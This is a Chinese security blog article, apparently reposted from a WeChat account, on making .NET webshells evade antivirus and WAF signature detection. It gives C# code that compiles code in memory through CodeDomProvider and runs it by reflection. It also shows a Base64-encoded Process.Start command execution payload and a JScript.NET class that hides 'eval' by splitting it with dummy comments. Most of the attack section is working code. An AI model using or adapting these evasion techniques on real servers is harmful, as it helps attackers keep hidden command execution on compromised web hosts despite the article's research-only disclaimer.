0x01 动态编译
当下主流的Waf或Windows Defender等终端杀软、EDR大多都是从特征码查杀,在.Net一句话木马中最常见的特征是基于Jscript.Net实现的eval方法和C#Process.Start方法,笔者之前从.NET 内置的CodeDomProvider类下手实现动态编译.NET代码,编译的过程如下图
1. 规避C#Process.Start
动态编译技术提供了最核心的两个类CodeDomProvider 和 CompilerParameters,前者相当于编译器,后者相当于编译器参数,CompileAssemblyFromSource表示程序集的数据源,再将编译产生的结果生成程序集供反射调用。最后通过CreateInstance实例化对象并反射调用自定义类中的方法。
CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ;
CompilerParameters comPara = new CompilerParameters();
comPara.ReferencedAssemblies.Add("System.dll"); //添加引用
comPara.GenerateExecutable = false; //生成exe
comPara.GenerateInMemory = true; //内存中
CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //编译数据的来源
Assembly objAssembly = compilerResults.CompiledAssembly; //编译成程序集
object objHelloWorld = objAssembly.CreateInstance("Neteye.NeteyeInput"); //创建对象
MethodInfo objMi = objHelloWorld?.GetType().GetMethod("OutPut"); //反射调用方法
var result = objMi?.Invoke(objHelloWorld, null);
直接将System.Diagnostics.Process.Start("cmd.exe","/c calc");Base64编码为 U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7, 运行后可正常执行指令
2. 拆解Eval
将动态编译器指定为Jscript,通过插入无关字符/*@Ivan1ee@*/将eval拆解掉,编译替换后反射执行目标方法。核心代码如下
private static readonly string _jscriptClassText =
@"import System;
class JScriptRun
{
public static function RunExp(expression : String) : String
{
return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);
}
}"
private static void Initialize()
{
CodeDomProvider compiler = CodeDomProvider.CreateProvider("Jscript");
CompilerParameters parameters = new CompilerParameters();
parameters.GenerateInMemory = true;
parameters.ReferencedAssemblies.Add("System.dll");
CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/", ""));
Assembly assembly = results.CompiledAssembly;
_runType = assembly.GetType("JScriptRun");
_runInstance = Activator.CreateInstance(_runType);
}
0x02 结语
笔者改用aspx编写此类风险检测程序,同时设计了主机进程、主机信息采集、主机目录文件访问等功能
原文始发于微信公众号(哆啦安全):.NET WebShell免杀系列之动态编译
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论